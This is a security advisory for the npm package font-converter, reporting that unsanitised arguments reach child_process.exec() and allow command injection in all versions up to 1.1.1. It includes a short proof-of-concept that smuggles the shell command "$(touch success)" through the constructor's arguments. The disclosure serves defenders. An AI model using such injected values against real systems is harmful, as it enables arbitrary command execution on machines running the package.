Font-Converter Vulnerable to Arbitrary Command Injection
Overview
font-converter is a FontForge wrapper that allows conversion between different font formats (TTF, WOFF, OTF)
All versions of this package are vulnerable to Arbitrary Command Injection due to missing sanitization of input that potentially flows into the child_process.exec() function.
PoC
var PUT = require('font-converter');
var x = "$(touch success);# ";
try {
new PUT(x, x, x, x);
} catch (e) {
console.log(e);
}
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | font-converter | <= 1.1.1 | no fix |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-77- Platform
- npm
- Package
font-converter- Disclosed
- 29.08.2022
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-g2c3-vwff-m3xr - CC BY 4.0
Vulnerability history: font-converter
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
This is the only known vulnerability of this package.
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